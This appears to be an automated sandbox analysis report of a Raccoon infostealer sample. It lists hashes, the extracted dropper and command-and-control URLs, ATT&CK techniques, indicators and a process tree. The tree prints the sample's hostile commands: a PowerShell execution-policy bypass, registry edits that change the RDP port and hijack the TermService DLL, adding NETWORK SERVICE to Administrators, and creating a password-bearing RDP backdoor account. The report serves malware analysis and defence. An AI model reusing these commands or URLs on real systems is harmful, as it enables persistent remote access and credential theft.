raccoon | 3fb2264cea79f2a81e87bb20db95fd812a32fd8cd3feff546c280ecd7911be0c

Analysis

max time kernel
59s
max time network
113s
platform
windows10_x64
resource
win10v20210410
submitted
02-06-2021 22:02

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General

Target

c36d9bc4f9569bf91605097139297c0b.exe
Size

569KB
MD5

c36d9bc4f9569bf91605097139297c0b
SHA1

b542a1f9fc55299c79ec87f7454e3fcd092718db
SHA256

3fb2264cea79f2a81e87bb20db95fd812a32fd8cd3feff546c280ecd7911be0c
SHA512

b9817eeeda058f3937fb6af8ff21a9854d22096326ff0163e6dd8fd553634a6c84c9a9cf15dbdcba185f83c22931d47602c7db275d5b1d5cf6aaa35d34b9a518

Score

10^/10

raccoon e46634757936706c1ff491585768dd6fe231db30 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
20	4772	powershell.exe
22	4772	powershell.exe
23	4772	powershell.exe
24	4772	powershell.exe
26	4772	powershell.exe
28	4772	powershell.exe
30	4772	powershell.exe
32	4772	powershell.exe
34	4772	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
352	m8JGVVlGJ5.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0008000000000695-237.dat	upx
behavioral2/files/0x000900000001559d-238.dat	upx

Loads dropped DLL 8 IoCs

pid	Process
2204	c36d9bc4f9569bf91605097139297c0b.exe
2204	c36d9bc4f9569bf91605097139297c0b.exe
2204	c36d9bc4f9569bf91605097139297c0b.exe
2204	c36d9bc4f9569bf91605097139297c0b.exe
2204	c36d9bc4f9569bf91605097139297c0b.exe
2204	c36d9bc4f9569bf91605097139297c0b.exe
732	Process not Found
732	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_rd3qkiws.dhx.ps1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI7DD1.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI7E12.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI7E23.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI7E00.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI7E01.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_yb0nctbk.3rf.psm1	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3896	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3932	reg.exe

Runs net.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2480	powershell.exe
2480	powershell.exe
2480	powershell.exe
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe
732	powershell.exe
732	powershell.exe
732	powershell.exe
3312	powershell.exe
3312	powershell.exe
3312	powershell.exe
2480	powershell.exe
2480	powershell.exe
2480	powershell.exe
4772	powershell.exe
4772	powershell.exe
4772	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
616	Process not Found
616	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2480	powershell.exe
Token: SeDebugPrivilege	2144	powershell.exe
Token: SeIncreaseQuotaPrivilege	2144	powershell.exe
Token: SeSecurityPrivilege	2144	powershell.exe
Token: SeTakeOwnershipPrivilege	2144	powershell.exe
Token: SeLoadDriverPrivilege	2144	powershell.exe
Token: SeSystemProfilePrivilege	2144	powershell.exe
Token: SeSystemtimePrivilege	2144	powershell.exe
Token: SeProfSingleProcessPrivilege	2144	powershell.exe
Token: SeIncBasePriorityPrivilege	2144	powershell.exe
Token: SeCreatePagefilePrivilege	2144	powershell.exe
Token: SeBackupPrivilege	2144	powershell.exe
Token: SeRestorePrivilege	2144	powershell.exe
Token: SeShutdownPrivilege	2144	powershell.exe
Token: SeDebugPrivilege	2144	powershell.exe
Token: SeSystemEnvironmentPrivilege	2144	powershell.exe
Token: SeRemoteShutdownPrivilege	2144	powershell.exe
Token: SeUndockPrivilege	2144	powershell.exe
Token: SeManageVolumePrivilege	2144	powershell.exe
Token: 33	2144	powershell.exe
Token: 34	2144	powershell.exe
Token: 35	2144	powershell.exe
Token: 36	2144	powershell.exe
Token: SeDebugPrivilege	732	powershell.exe
Token: SeIncreaseQuotaPrivilege	732	powershell.exe
Token: SeSecurityPrivilege	732	powershell.exe
Token: SeTakeOwnershipPrivilege	732	powershell.exe
Token: SeLoadDriverPrivilege	732	powershell.exe
Token: SeSystemProfilePrivilege	732	powershell.exe
Token: SeSystemtimePrivilege	732	powershell.exe
Token: SeProfSingleProcessPrivilege	732	powershell.exe
Token: SeIncBasePriorityPrivilege	732	powershell.exe
Token: SeCreatePagefilePrivilege	732	powershell.exe
Token: SeBackupPrivilege	732	powershell.exe
Token: SeRestorePrivilege	732	powershell.exe
Token: SeShutdownPrivilege	732	powershell.exe
Token: SeDebugPrivilege	732	powershell.exe
Token: SeSystemEnvironmentPrivilege	732	powershell.exe
Token: SeRemoteShutdownPrivilege	732	powershell.exe
Token: SeUndockPrivilege	732	powershell.exe
Token: SeManageVolumePrivilege	732	powershell.exe
Token: 33	732	powershell.exe
Token: 34	732	powershell.exe
Token: 35	732	powershell.exe
Token: 36	732	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeIncreaseQuotaPrivilege	3312	powershell.exe
Token: SeSecurityPrivilege	3312	powershell.exe
Token: SeTakeOwnershipPrivilege	3312	powershell.exe
Token: SeLoadDriverPrivilege	3312	powershell.exe
Token: SeSystemProfilePrivilege	3312	powershell.exe
Token: SeSystemtimePrivilege	3312	powershell.exe
Token: SeProfSingleProcessPrivilege	3312	powershell.exe
Token: SeIncBasePriorityPrivilege	3312	powershell.exe
Token: SeCreatePagefilePrivilege	3312	powershell.exe
Token: SeBackupPrivilege	3312	powershell.exe
Token: SeRestorePrivilege	3312	powershell.exe
Token: SeShutdownPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeSystemEnvironmentPrivilege	3312	powershell.exe
Token: SeRemoteShutdownPrivilege	3312	powershell.exe
Token: SeUndockPrivilege	3312	powershell.exe
Token: SeManageVolumePrivilege	3312	powershell.exe
Token: 33	3312	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 352	2204	c36d9bc4f9569bf91605097139297c0b.exe	79
PID 2204 wrote to memory of 352	2204	c36d9bc4f9569bf91605097139297c0b.exe	79
PID 2204 wrote to memory of 208	2204	c36d9bc4f9569bf91605097139297c0b.exe	80
PID 2204 wrote to memory of 208	2204	c36d9bc4f9569bf91605097139297c0b.exe	80
PID 2204 wrote to memory of 208	2204	c36d9bc4f9569bf91605097139297c0b.exe	80
PID 208 wrote to memory of 3896	208	cmd.exe	82
PID 208 wrote to memory of 3896	208	cmd.exe	82
PID 208 wrote to memory of 3896	208	cmd.exe	82
PID 352 wrote to memory of 2480	352	m8JGVVlGJ5.exe	83
PID 352 wrote to memory of 2480	352	m8JGVVlGJ5.exe	83
PID 2480 wrote to memory of 4080	2480	powershell.exe	85
PID 2480 wrote to memory of 4080	2480	powershell.exe	85
PID 4080 wrote to memory of 2120	4080	csc.exe	86
PID 4080 wrote to memory of 2120	4080	csc.exe	86
PID 2480 wrote to memory of 2144	2480	powershell.exe	87
PID 2480 wrote to memory of 2144	2480	powershell.exe	87
PID 2480 wrote to memory of 732	2480	powershell.exe	90
PID 2480 wrote to memory of 732	2480	powershell.exe	90
PID 2480 wrote to memory of 3312	2480	powershell.exe	92
PID 2480 wrote to memory of 3312	2480	powershell.exe	92
PID 2480 wrote to memory of 396	2480	powershell.exe	94
PID 2480 wrote to memory of 396	2480	powershell.exe	94
PID 2480 wrote to memory of 3932	2480	powershell.exe	95
PID 2480 wrote to memory of 3932	2480	powershell.exe	95
PID 2480 wrote to memory of 736	2480	powershell.exe	96
PID 2480 wrote to memory of 736	2480	powershell.exe	96
PID 2480 wrote to memory of 740	2480	powershell.exe	97
PID 2480 wrote to memory of 740	2480	powershell.exe	97
PID 740 wrote to memory of 3408	740	net.exe	98
PID 740 wrote to memory of 3408	740	net.exe	98
PID 2480 wrote to memory of 2444	2480	powershell.exe	99
PID 2480 wrote to memory of 2444	2480	powershell.exe	99
PID 2444 wrote to memory of 3312	2444	cmd.exe	100
PID 2444 wrote to memory of 3312	2444	cmd.exe	100
PID 3312 wrote to memory of 2816	3312	cmd.exe	101
PID 3312 wrote to memory of 2816	3312	cmd.exe	101
PID 2816 wrote to memory of 4008	2816	net.exe	102
PID 2816 wrote to memory of 4008	2816	net.exe	102
PID 2480 wrote to memory of 3208	2480	powershell.exe	103
PID 2480 wrote to memory of 3208	2480	powershell.exe	103
PID 3208 wrote to memory of 1804	3208	cmd.exe	104
PID 3208 wrote to memory of 1804	3208	cmd.exe	104
PID 1804 wrote to memory of 4004	1804	cmd.exe	105
PID 1804 wrote to memory of 4004	1804	cmd.exe	105
PID 4004 wrote to memory of 3896	4004	net.exe	106
PID 4004 wrote to memory of 3896	4004	net.exe	106
PID 3692 wrote to memory of 204	3692	cmd.exe	110
PID 3692 wrote to memory of 204	3692	cmd.exe	110
PID 204 wrote to memory of 4112	204	net.exe	111
PID 204 wrote to memory of 4112	204	net.exe	111
PID 4132 wrote to memory of 4176	4132	cmd.exe	114
PID 4132 wrote to memory of 4176	4132	cmd.exe	114
PID 4176 wrote to memory of 4196	4176	net.exe	115
PID 4176 wrote to memory of 4196	4176	net.exe	115
PID 4216 wrote to memory of 4256	4216	cmd.exe	118
PID 4216 wrote to memory of 4256	4216	cmd.exe	118
PID 4256 wrote to memory of 4276	4256	net.exe	119
PID 4256 wrote to memory of 4276	4256	net.exe	119
PID 4296 wrote to memory of 4336	4296	cmd.exe	122
PID 4296 wrote to memory of 4336	4296	cmd.exe	122
PID 4336 wrote to memory of 4356	4336	net.exe	123
PID 4336 wrote to memory of 4356	4336	net.exe	123
PID 4376 wrote to memory of 4416	4376	cmd.exe	126
PID 4376 wrote to memory of 4416	4376	cmd.exe	126

C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe
"C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Users\Admin\AppData\Local\Temp\m8JGVVlGJ5.exe
  "C:\Users\Admin\AppData\Local\Temp\m8JGVVlGJ5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2480
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\24qws0xw\24qws0xw.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4080
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES479E.tmp" "c:\Users\Admin\AppData\Local\Temp\24qws0xw\CSC616FB225DFC9443F8D4CB3CACA1051B1.TMP"
        5⤵
        
        PID:2120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3312
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:396
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:3932
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:736
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:740
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:3408
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2444
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3312
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2816
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:4008
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3208
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1804
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4004
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:3896
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:5036
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:5052
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:3896

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:4112

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc uLUVPa8i /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4132
- C:\Windows\system32\net.exe
  net.exe user wgautilacc uLUVPa8i /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4176
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc uLUVPa8i /add
    3⤵
    PID:4196

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\system32\net1.exe
